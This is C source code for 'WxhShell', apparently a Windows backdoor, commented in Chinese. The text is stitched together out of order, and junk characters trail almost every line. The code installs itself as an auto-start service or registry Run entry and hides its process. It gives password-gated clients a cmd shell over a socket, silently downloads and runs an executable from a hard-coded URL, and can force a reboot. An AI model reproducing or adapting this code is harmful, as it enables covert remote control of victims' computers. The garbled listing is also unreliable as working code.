    if(Boot(SHUTDOWN)) i, ^-9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lLQcyi0  
    else { o?]Q&,tO  
    closesocket(wsh); @<DRFP  
    ExitThread(0); :%sG'_d  
    } oDS7do  
    break; k3&68+  
    } A8ViJ  
  // 获取shell  +At [[  
  case 's': { pg5W`4-F  
    CmdShell(wsh); M8lw; (  
    closesocket(wsh); {"jtR<{)  
    ExitThread(0); @o[ZJ4>*  
    break; m 70r'b]  
  } Z6B$\Q5Od  
  // 退出 R1JD{  
  case 'x': { $\/i t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +PPQ"#1pS  
    CloseIt(wsh); }^I36$\  
    break; o4: e1  
    } 548L^"D  
  // 离开 /%&5Iq\:vA  
  case 'q': { 6[t(FcS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7 @\i5  
    closesocket(wsh); p` ~=v4;b  
    WSACleanup(); *X3wf`C?  
    exit(1); t=lDN'\P  
    break; w[a(I} x  
        } 5_A*I C]  
  } N/>:})dav  
  } ~ !ei]UP  
"wH(t k4  
  // 提示信息 x7B;\D#`i/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "} :CM_  
} WBKf)A^S  
  } S9DXd]6q_  
;/NC[:'$D  
  return; a /]FlT  
} /nv*OKS|  
UDZ0ne0-  
// shell模块句柄 0fj C>AS  
int CmdShell(SOCKET sock) L'Iw9RAJ  
{ @|h9jx|  
STARTUPINFO si; RKrNmD*rk*  
ZeroMemory(&si,sizeof(si)); zWPX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DhxS@/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `JV(ae0  
PROCESS_INFORMATION ProcessInfo; FzOWM7+\  
char cmdline[]="cmd"; ;E{jn4B'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7Z9'Y?[m  
  return 0; ;t>4VA  
} =LY`K#  
9PV]bt,  
// 自身启动模式 FD!8o  
int StartFromService(void) X}G$ON  
{ m{$+  
typedef struct v`L]dY4,  
{ /\Cf*cJ  
  DWORD ExitStatus; jD<xpD  
  DWORD PebBaseAddress; 6 o   
  DWORD AffinityMask; W.s8!KH:  
  DWORD BasePriority; F6J]T6 Y  
  ULONG UniqueProcessId; W3ms8=z  
  ULONG InheritedFromUniqueProcessId; s;Bh69  
}   PROCESS_BASIC_INFORMATION; ]'n4e*  
YeT{<9p  
PROCNTQSIP NtQueryInformationProcess; K%`]HW@I{  
C ]B P}MY<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z[&FIG% tV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7f3,czW  
4n.JRR&;  
  HANDLE             hProcess; LV1drc  
  PROCESS_BASIC_INFORMATION pbi; iM7 ^  
o%-KO? YW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T_s09Wl  
  if(NULL == hInst ) return 0; \ ^pc"?Rc  
dYOY8r/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )^P54_2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2oc18#iG (  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jLn#%Ia}  
|<3x`l-`  
  if (!NtQueryInformationProcess) return 0; k$5l kP.  
Q)XH5C2X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cjhwJ"`H  
  if(!hProcess) return 0; k:V9_EI=  
hl0X, G+@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mw^>dv?  
uDJ;GD[yc  
  CloseHandle(hProcess); >Mh\jt\  
fp(zd;BSQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $;(@0UDE  
if(hProcess==NULL) return 0; ab9ecZ  
Y|wjt\M  
HMODULE hMod; trjpq{,[U  
char procName[255]; e*`ht+  
unsigned long cbNeeded; GzaGTd.b  
Is6}VLbB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5~UW=   
^kC!a>&  
  CloseHandle(hProcess); .>r3ZwrE'  
V= &M\58  
if(strstr(procName,"services")) return 1; // 以服务启动 _U LzA  
[f { qb\  
  return 0; // 注册表启动 X}]A_G  
} OqRRf  
SAitufS  
// 主模块 u{HO6 s\S  
int StartWxhshell(LPSTR lpCmdLine) p<\!{5:   
{ &N=vs  
  SOCKET wsl; QEut@L  
BOOL val=TRUE; NCT:!&  
  int port=0; hP'4PLK  
  struct sockaddr_in door; Tc"J(GWG  
7vRp<  
  if(wscfg.ws_autoins) Install(); wC%qSy'  
y'b*Dk{  
port=atoi(lpCmdLine); 7@g0>1Fz  
RhB)AUAj  
if(port<=0) port=wscfg.ws_port; %rhZH^2  
iF +@aA  
  WSADATA data; }=\?]9`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CV=qcD  
f|_\GVW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   < @GO]vY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2?6]Xbs{  
  door.sin_family = AF_INET; u23_*W\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x'\C'zeF  
  door.sin_port = htons(port); g yV>k=B  
'wYIJK~1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /TPtPq<7:#  
closesocket(wsl); N.q*jY= X|  
return 1; 4 X/UyBk  
} !&b| [b  
p/nATvh$  
  if(listen(wsl,2) == INVALID_SOCKET) { o o'7  
closesocket(wsl); |/xx**?  
return 1; uh.;Jj;  
} e-v|  
  Wxhshell(wsl); 'ZI8nMY  
  WSACleanup(); {irc~||4  
k{vbi-^6rf  
return 0; AWMJ/ E*T  
n6t@ e^  
} ?ZGsh7<k  
U$OI]Dd9  
// 以NT服务方式启动  7 FY2a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R ai 0 4  
{ +C~d;p  
DWORD   status = 0; (p12=EB<  
  DWORD   specificError = 0xfffffff; G{4s~Pco[Q  
ilK*Xo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g=t7YQq_~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^dk$6%0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u_+iH$zA  
  serviceStatus.dwWin32ExitCode     = 0; u;t~ z  
  serviceStatus.dwServiceSpecificExitCode = 0; Y-y yg4JH  
  serviceStatus.dwCheckPoint       = 0; 573,b7Yf  
  serviceStatus.dwWaitHint       = 0; /RqWrpzx@  
}Md;=_TP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -@_v@]:  
  if (hServiceStatusHandle==0) return; Q 318a0  
e Bxm  
status = GetLastError(); E X'PRNB,  
  if (status!=NO_ERROR) x$o^;2Z  
{ bFajK;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ILAn2W  
    serviceStatus.dwCheckPoint       = 0; 2IM 31 .  
    serviceStatus.dwWaitHint       = 0; YI7M%B9Lj  
    serviceStatus.dwWin32ExitCode     = status; Mth:V45G|  
    serviceStatus.dwServiceSpecificExitCode = specificError; ti%RE:*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _ h#I}uJ~  
    return; TvDC4tm-:  
  } kD;pj3o&"2  
^Z;zA@[wt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \ B84  
  serviceStatus.dwCheckPoint       = 0; QM 3DB  
  serviceStatus.dwWaitHint       = 0; z#o''  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hchG\ i  
} m#8[")a$"  
vaP`'  
// 处理NT服务事件,比如:启动、停止 MA:5'n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /; Bmh=  
{ UsFn!!+  
switch(fdwControl) o.fqJfpj  
{ m Rw0R{  
case SERVICE_CONTROL_STOP: ~I+MuI[  
  serviceStatus.dwWin32ExitCode = 0; s^eiym P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YcDKRyrt  
  serviceStatus.dwCheckPoint   = 0; }kr?+)wB  
  serviceStatus.dwWaitHint     = 0; ;XawEG7" U  
  { EI 35&7(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0&]1s  
  } zM=MFKhi ~  
  return; UWKgf? _  
case SERVICE_CONTROL_PAUSE: Rb0I7~Z%'d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0]  
  break; oS..y($TI  
case SERVICE_CONTROL_CONTINUE: io+V4m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?hkOL$v<9}  
  break; u>:(MARsR  
case SERVICE_CONTROL_INTERROGATE: /o m++DxV  
  break; m?<E >-bI  
}; ~o%igJ }.C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xH*X5?  
} HVHv,:bPo  
qJdlZW<  
// 标准应用程序主函数 )'U0n`=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A/'po_'uy  
{ ]1<GZ`  
9/(jY$Ar  
// 获取操作系统版本 3)W zX  
OsIsNt=GetOsVer(); rjK`t_(=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u7[}pf$}  
4_=2|2Wz[  
  // 从命令行安装 _#:/ ~Jp  
  if(strpbrk(lpCmdLine,"iI")) Install(); h.PBe  
k[ro[E  
  // 下载执行文件 ,.W7Z~z  
if(wscfg.ws_downexe) { .M^[/!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8\lh'8  
  WinExec(wscfg.ws_filenam,SW_HIDE); ciS,  
} =zyA~}M2  
BtC*]WB"_'  
if(!OsIsNt) { 'q)g, 2B%  
// 如果时win9x,隐藏进程并且设置为注册表启动 /gZyl|kdy  
HideProc(); vNv!fkl  
StartWxhshell(lpCmdLine); ZKrLp8l\  
} V|_ h[hXE  
else _rwJ: r  
  if(StartFromService()) m|qktLx  
  // 以服务方式启动 ;Nj9,Va(t  
  StartServiceCtrlDispatcher(DispatchTable); aE`d[d SG  
else + GI906K  
  // 普通方式启动 Q< :RLKVT  
  StartWxhshell(lpCmdLine); v .jxG {~.  
"ntP928  
return 0; K@O^\  
} 7pyzPc#_  
!=YKfzE  
fu^W# "{  
4D0jt$==  
=========================================== :dSda,!z  
! ;t\lgMl  
2]5{Xmmo9  
8D*nU3O   
EsMX #1>/m  
 -BSdrP|  
" Oo|PZ_P  
Ur(R[*2bx  
#include <stdio.h> r0XEB,}  
#include <string.h> Db,"Gl  
#include <windows.h> -^xbd_'  
#include <winsock2.h> @x}"aJgl  
#include <winsvc.h> kyJbV[o<#  
#include <urlmon.h> "Wwu Ty|  
p%3z*2,(  
#pragma comment (lib, "Ws2_32.lib") At iUTA  
#pragma comment (lib, "urlmon.lib") !@=S,Vc.  
Cq\XLh `  
#define MAX_USER   100 // 最大客户端连接数 < (xqw<)  
#define BUF_SOCK   200 // sock buffer y?<KN0j  
#define KEY_BUFF   255 // 输入 buffer %y6(+I #P  
Qq<@;4  
#define REBOOT     0   // 重启 _p-e)J$7  
#define SHUTDOWN   1   // 关机 &J>e; X  
N*o{BboK;  
#define DEF_PORT   5000 // 监听端口 UZyg_G6  
@AEH?gOX  
#define REG_LEN     16   // 注册表键长度 LjI`$r.B  
#define SVC_LEN     80   // NT服务名长度 X8$i*#D  
`x[Is$  
// 从dll定义API 6O7s^d&K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Wo 1x ZZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4dX{an]Cz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X7},|cmD_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mM,HMrgLqK  
q>$MqKWM  
// wxhshell配置信息 51jgx,-|$  
struct WSCFG { rAH!%~  
  int ws_port;         // 监听端口 bhqSqU}6~  
  char ws_passstr[REG_LEN]; // 口令 h_%q`y,  
  int ws_autoins;       // 安装标记, 1=yes 0=no .^Sgl o  
  char ws_regname[REG_LEN]; // 注册表键名 VeYT[Us"  
  char ws_svcname[REG_LEN]; // 服务名 7IX8ck[D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v>8C}d^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OETo?Wg1Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3p0v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >h\y1IrAaG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Eomfa:WL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7D6`1 &  
_K^Q]V[nZ  
}; 0bT j/0G?  
s1:Wrz?4  
// default Wxhshell configuration xyp{_ MZ  
struct WSCFG wscfg={DEF_PORT, 8xPt1Sotq[  
    "xuhuanlingzhe", hNN>Pd~;  
    1, EeW ,-I  
    "Wxhshell", n i#jAwkN5  
    "Wxhshell", 6"Uu;Q  
            "WxhShell Service", \^!;r9z=A  
    "Wrsky Windows CmdShell Service", J9Ao*IW~  
    "Please Input Your Password: ", 1BSd9Ydj  
  1, B9maz"lJ  
  "http://www.wrsky.com/wxhshell.exe", XO+BZB`F  
  "Wxhshell.exe" M/N8bIC! Q  
    }; vO}r(kNJ  
PG&t~4QM`  
// 消息定义模块 _~<sb,W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JrzPDb`m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PCviQ!X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #e' >9T  
char *msg_ws_ext="\n\rExit."; m$T5lKn}U?  
char *msg_ws_end="\n\rQuit."; }"D;?$R!  
char *msg_ws_boot="\n\rReboot..."; Qs&;MW4q  
char *msg_ws_poff="\n\rShutdown..."; ;4nY{)bD  
char *msg_ws_down="\n\rSave to "; m\&|#yq  
a-{|/ n%  
char *msg_ws_err="\n\rErr!"; ingG  
char *msg_ws_ok="\n\rOK!"; {VcRur}&Y8  
=zkN63S  
char ExeFile[MAX_PATH]; n' ~ ==2  
int nUser = 0; 7he73  
HANDLE handles[MAX_USER]; 1m*)MZ)  
int OsIsNt; EA"hie7  
W$4$%r8  
SERVICE_STATUS       serviceStatus; \V? .^/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mY"7/dw<v  
8A>OQR  
// 函数声明 #l=yD]t PU  
int Install(void); 1 G>Ud6(3<  
int Uninstall(void); %'Cj~An  
int DownloadFile(char *sURL, SOCKET wsh); {9@D zP  
int Boot(int flag); &6eo;8 `U  
void HideProc(void); )bUnk +_  
int GetOsVer(void); orGMzC2  
int Wxhshell(SOCKET wsl); ={g)[:(C.  
void TalkWithClient(void *cs); )UzJ2Pa<+_  
int CmdShell(SOCKET sock); rzf Lp  
int StartFromService(void); ~; 9HGtg  
int StartWxhshell(LPSTR lpCmdLine); -xn-A f!v  
=:H-9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $vs],C"pX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F s/CW\  
CTIS}_CWd=  
// 数据结构和表定义 B)0/kY7c  
SERVICE_TABLE_ENTRY DispatchTable[] = [l}H:%O,  
{ Hjm> I'9  
{wscfg.ws_svcname, NTServiceMain}, c]6b|mHT  
{NULL, NULL} 6S`_L  
}; Q((&Q?Vi  
%*D=ni#(sT  
// 自我安装 Qit&cnO  
int Install(void) z|#*c5Y9w  
{ ?P kJG ,~  
  char svExeFile[MAX_PATH]; wC1pfXa  
  HKEY key; _*mn4n=  
  strcpy(svExeFile,ExeFile); P5Xp #pa  
$qNF /rF  
// 如果是win9x系统,修改注册表设为自启动 .S k+"iH5  
if(!OsIsNt) { %2QGbnt_*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I9X \@ lTf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @6;OF5VsQ  
  RegCloseKey(key); `<7\Zl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $$9H1)Ny  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [JOa^U=  
  RegCloseKey(key); 8E%LhA.  
  return 0; #(^<qr   
    } |AYii-g  
  } 4 &bmt  
} mskG2mA  
else { 4.O)/0sU  
XZE(& (s  
// 如果是NT以上系统,安装为系统服务 G5}_NS/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b}! cEJY  
if (schSCManager!=0) )D8op;Fn  
{ UmR)L!QT8  
  SC_HANDLE schService = CreateService 8eXe b|?J  
  ( XGa8tI[:X  
  schSCManager, q5f QTV  
  wscfg.ws_svcname, ]#o;`5'  
  wscfg.ws_svcdisp, j.=:S;  
  SERVICE_ALL_ACCESS, 9Yt|Wj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '2lV(>"  
  SERVICE_AUTO_START, pDS[ecx  
  SERVICE_ERROR_NORMAL, 2yfU]`qN  
  svExeFile, lNX*s E .  
  NULL, MJ}{Q1|*  
  NULL, a 0SZw  
  NULL, v5[gFY(?  
  NULL, Vn#}f=u\  
  NULL Ed=/w6<  
  ); +hRy{Ps/  
  if (schService!=0)  2E*=EjGV  
  { tA(oD4H9  
  CloseServiceHandle(schService); +SFFwjI  
  CloseServiceHandle(schSCManager); fG \" p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E@ea ?Sx  
  strcat(svExeFile,wscfg.ws_svcname); ZqclmCi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SeHrj&5U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S{^x]h|?  
  RegCloseKey(key); bxE~tsM"@Y  
  return 0; aL(G0@(  
    } 64'2ICf#m  
  } j2G^sj"|  
  CloseServiceHandle(schSCManager); r_+Vb*|Y  
} y[7M(K  
} , z\Qd07u  
]L3U2H`7  
return 1; WJ8i=MO67  
} $%EX~$=m]-  
OY1bFIE  
// 自我卸载 @Ou H=<YN  
int Uninstall(void) Cu@q*:'  
{ , Q0Y} )  
  HKEY key; ?`+VWa[,e  
.@{v{  
if(!OsIsNt) { {V7mpVTX.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (wu'FFJp#  
  RegDeleteValue(key,wscfg.ws_regname); Kw-<o!~  
  RegCloseKey(key); Ta[2uv>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { It3k#A0  
  RegDeleteValue(key,wscfg.ws_regname); k]ZE j/y~  
  RegCloseKey(key); ;1&"]N%  
  return 0; ! $JX3mP  
  } gP>pb W_  
} C@a I*+@-"  
} vHvz-3  
else { DN%}OcpZ  
ZX/FIxpy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HzM\<YD  
if (schSCManager!=0) pCt2 -aam  
{ i ;B^I8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5WI bnV@  
  if (schService!=0) d>[i*u,]/  
  { b36{vcs~  
  if(DeleteService(schService)!=0) { 2)IM<rf'^  
  CloseServiceHandle(schService); #?)6^uTW  
  CloseServiceHandle(schSCManager); j \r GU){  
  return 0; )j2 #5`?"j  
  } B  W*8  
  CloseServiceHandle(schService); & %/p; ::A  
  } K~#?Y,}O  
  CloseServiceHandle(schSCManager); DOyO`TJi  
} M4Cb(QAVP  
} I'xc$f_+  
J* !_O#  
return 1; Ucv7`W gr  
} h] ho? K  
;?u cC@  
// 从指定url下载文件 pj_W^,*/  
int DownloadFile(char *sURL, SOCKET wsh) @PM<pEve  
{ D2VYw<tEA  
  HRESULT hr; |ru!C(  
char seps[]= "/"; +mjwX?yF  
char *token; A\?t^T  
char *file; T"99m^y  
char myURL[MAX_PATH]; Tu-lc)  
char myFILE[MAX_PATH]; g7323m1=  
0j8fU7~6S  
strcpy(myURL,sURL); GyL9}  
  token=strtok(myURL,seps); qG,h 1  
  while(token!=NULL) z uNm !$  
  { kb 74:  
    file=token; 7=G6ao7  
  token=strtok(NULL,seps); |6^a[x3/U  
  } Xr^ 5Th\  
rhLhFN{h  
GetCurrentDirectory(MAX_PATH,myFILE); @(L}:]{@  
strcat(myFILE, "\\"); RF*>U a  
strcat(myFILE, file); rOOo42Y W`  
  send(wsh,myFILE,strlen(myFILE),0); ]]y>d!  
send(wsh,"...",3,0); 1tTP;C l#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Foq3==*p  
  if(hr==S_OK) `XF[A8@h  
return 0; XR",.3LD  
else Pfs_tu  
return 1; ,R=!ts[qi  
-W6@[5c  
} B^9C}QB  
Sm[#L`eqW  
// 系统电源模块 hqeknTGsIn  
int Boot(int flag) +6>2= ,?Z  
{ r1F5'?NZ(0  
  HANDLE hToken; G\tN(%.f  
  TOKEN_PRIVILEGES tkp; mNC?kp  
@5&57R3>  
  if(OsIsNt) { gGE{r}$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W/A@qo"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sT=|"H?  
    tkp.PrivilegeCount = 1; #}fvjJ{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @|;[ ;:h@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +o3n%( ^~  
if(flag==REBOOT) { {8mJ<b>VA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }WJX Q@  
  return 0; \4qF3#  
} =W2.Nc  
else { #IGcQY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +|;Ri68  
  return 0; G8]{pbX  
} !^Ay !  
  } oeKl\cgFx  
  else { sRLjKi2D  
if(flag==REBOOT) { lq-F*r\/~+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o[wiQ9Tl  
  return 0; \RDqW+,  
} Ho}*Bn~ic  
else { /T qbl^[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }^H(EHE  
  return 0; 5Bq;Vb  
} d$ o m\@  
} !!A(A^s  
iLQO .'{U  
return 1; dH0>lV  
} RF8, qz  
8aQTm- {m  
// win9x进程隐藏模块 &OFVqm^  
void HideProc(void) ?0u"No52m  
{ 5O~xj:  
I;AS.y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^x*J4jl  
  if ( hKernel != NULL ) :9 &@/{W  
  { pHk$_t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wqm{f~nj=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vR#MUKfh  
    FreeLibrary(hKernel); fWJOP sp*/  
  } g<~ODMCO?W  
orWF>o=1  
return; 5Th\wTh04  
} \3(s&K\Y6\  
V@LBy1z  
// 获取操作系统版本 08@4u L  
int GetOsVer(void) - A}$5/  
{ Yrf?|,  
  OSVERSIONINFO winfo; rv)Eg53Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \{rhHb\|h  
  GetVersionEx(&winfo); r#j3O}(n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cMtUb  
  return 1; QHXpX9  
  else _eQ-'")  
  return 0; b* n#XTV  
} H9_>a-> )~  
wBI:}N@.  
// 客户端句柄模块 #6y fIvap  
int Wxhshell(SOCKET wsl) {?w *n_T.  
{ 9JMf T]  
  SOCKET wsh; * XDe:A  
  struct sockaddr_in client; i+Ne.h  
  DWORD myID; q}'<[Wg  
W#d'SL#5  
  while(nUser<MAX_USER) [vBP,_Tjx  
{ tOF8v8Hd  
  int nSize=sizeof(client); u ?F},VL;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a{;+_J3S  
  if(wsh==INVALID_SOCKET) return 1; !}`[s2ji  
V LeYO5'L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }!*|VdL0  
if(handles[nUser]==0) nR Hl Hu  
  closesocket(wsh); &f A1kG%  
else lZ"C~B}9:I  
  nUser++; '&|%^9O/"  
  } &B+_#V=X@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *c.w:DkfB  
/ gaC  
  return 0; o{2B^@+Vb  
} x `%x f  
^}gZ+!kA  
// 关闭 socket K)Ya%%6[U#  
void CloseIt(SOCKET wsh) 55y}t%5  
{ $Zi {1w  
closesocket(wsh); >Ir?)h  
nUser--; (t"|XSF  
ExitThread(0); Vw.4;Zy(  
} FAGi`X<L  
&"1_n]JO  
// 客户端请求句柄 ls "Z4v(L6  
void TalkWithClient(void *cs) sV%=z}n=  
{ frQ=BV5%6  
-G1R><8[  
  SOCKET wsh=(SOCKET)cs; Uu`}| &@i  
  char pwd[SVC_LEN]; m KKa0"  
  char cmd[KEY_BUFF]; #)T'a  
char chr[1]; 6il+hz2&lH  
int i,j; -|czhO)R  
M;z )c|Z  
  while (nUser < MAX_USER) { EL *l5!Iu  
hg^k lQD  
if(wscfg.ws_passstr) { t/]za4w/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X-"0Zc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yk7^?W  
  //ZeroMemory(pwd,KEY_BUFF); Pj^Ccd'>=  
      i=0; @nj`T{*.  
  while(i<SVC_LEN) { CS xB)-  
gFM~M(  
  // 设置超时 _2})URU< S  
  fd_set FdRead; |L)qH"Eo  
  struct timeval TimeOut; iqTmgE-  
  FD_ZERO(&FdRead); rN~V^k  
  FD_SET(wsh,&FdRead); taSYR$VJ  
  TimeOut.tv_sec=8; DC$x}1  
  TimeOut.tv_usec=0; %(1y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i+Xb3+R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \D! I"mr  
!;U}ax;AF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A^pRHbRq  
  pwd=chr[0]; LC/%AbM  
  if(chr[0]==0xd || chr[0]==0xa) { ;uU 8$  
  pwd=0; tH4+S?PI  
  break; ,5|@vW2@u  
  } &Mh]s\  
  i++; 4Cf.%f9@  
    } Nu%MXu+  
?CuwA-j  
  // 如果是非法用户,关闭 socket 0 !F! Y_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z1+1>|-iW  
} [Kanj/  
j1$s^-9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k Rp$[^ma  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 09HqiROw  
y)+l U  
while(1) { +C[%^G-:  
~0gHh  
  ZeroMemory(cmd,KEY_BUFF); ,S=ur%  
IaR D"oCH  
      // 自动支持客户端 telnet标准   /.[78:G\,  
  j=0; lyyR yFfQ  
  while(j<KEY_BUFF) { FO xZkU\e=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !&vPG>V  
  cmd[j]=chr[0]; 5*Y(%I<  
  if(chr[0]==0xa || chr[0]==0xd) { .d%CD`8!  
  cmd[j]=0; B["C~aF  
  break; r1 [Jo|4vo  
  } Z {*<G x  
  j++; O/PO?>@-/  
    } c`_[q{(^m  
IpI|G!Y,  
  // 下载文件 Dt*/tVF  
  if(strstr(cmd,"http://")) { :5BVVa0oR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jB%aHUF;  
  if(DownloadFile(cmd,wsh)) W 33MYw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 y'2  
  else $~<]G)*Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NN@'79x  
  } xg_9#  
  else { C{U"Nsu+1  
vAjvW&'g  
    switch(cmd[0]) { =2.q=a|'  
  QL`Hb p  
  // 帮助 aLt2fB1)  
